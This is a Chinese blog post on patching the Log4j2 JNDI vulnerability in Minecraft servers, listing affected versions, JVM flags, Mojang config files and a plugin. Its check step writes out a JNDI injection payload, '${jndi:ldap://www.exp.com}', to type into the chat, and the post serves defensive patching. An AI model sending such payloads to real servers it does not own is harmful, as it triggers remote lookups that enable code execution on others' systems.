SfTian Log4j 0day CVE 漏洞解决方法 ###影响范围 所有包含 Apache log4j2 2.0-2.15.0-rc1 版本依赖库的服务端(Minecraft 1.7.X 至 Minecraft 1.18.X) BungeeCord 不受影响,因为 BungeeCord 不使用 log4j,但 Waterfall以及他的最新的核心Velocity 受到影响,因为 Waterfall和Velocity 引入了 log4j2 ###原理 官方的修复原理是通过设置 Log4j2 的配置文件,关闭出现问题的那个模块,来解决这个漏洞。这个配置文件的下载地址是包含在 json 文件中的。 通常来说,forge 和 optifine 会通过 inheritsFrom 继承对于原版的 json。 也就是运行一次对应的原版,之后 forge 什么的也就同样受到了修复。 通过在聊天栏里输入 ``` ${jndi:ldap://www.exp.com} ``` 就行,卡了就有问题,没卡就没问题。 ###解决方案 - ####粗暴的解决办法 删除jar里面的org/apache/logging/og4j/core/lookup/Jndilookup.class(此方式可能会导致部分功能失效) - ####官方解决办法 1.18.1及以上版本不受影响1.18请升级到1.18.1 1.17版本请在启动脚本-jar之前加入JVM参数 ``` -Dlog4j2.formatMsgNoLookups=true ``` 1.12-1.16.5版本下载[指定文件](https://launcher.mojang.com/v1/objects/02937d122c86ce73319ef9975b58896fc1b491d1/log4j2_112-116.xml "指定文件")到服务端根目录并在启动脚本-jar之前加入JVM参数 ``` -Dlog4j.configurationFile=log4j2_112-116.xml ``` 1.7-1.11版本下载[指定文件](https://launcher.mojang.com/v1/objects/dd2b723346a8dcd48e7f4d245f6bf09e98db9696/log4j2_17-111.xml "指定文件")到服务端根目录并在启动脚本-jar之前加入JVM参数 ``` -Dlog4j.configurationFile=log4j2_17-111.xml ``` - ####安装插件 [https://www.mcbbs.net/thread-1283228-1-1.html](https://www.mcbbs.net/thread-1283228-1-1.html "https://www.mcbbs.net/thread-1283228-1-1.html") ###引用 重要官方公告:Java 版中的安全漏洞 https://www.mcbbs.net/thread-1283360-1-1.html (出处: Minecraft(我的世界)中文论坛) 取消回复 发表新评论 提交评论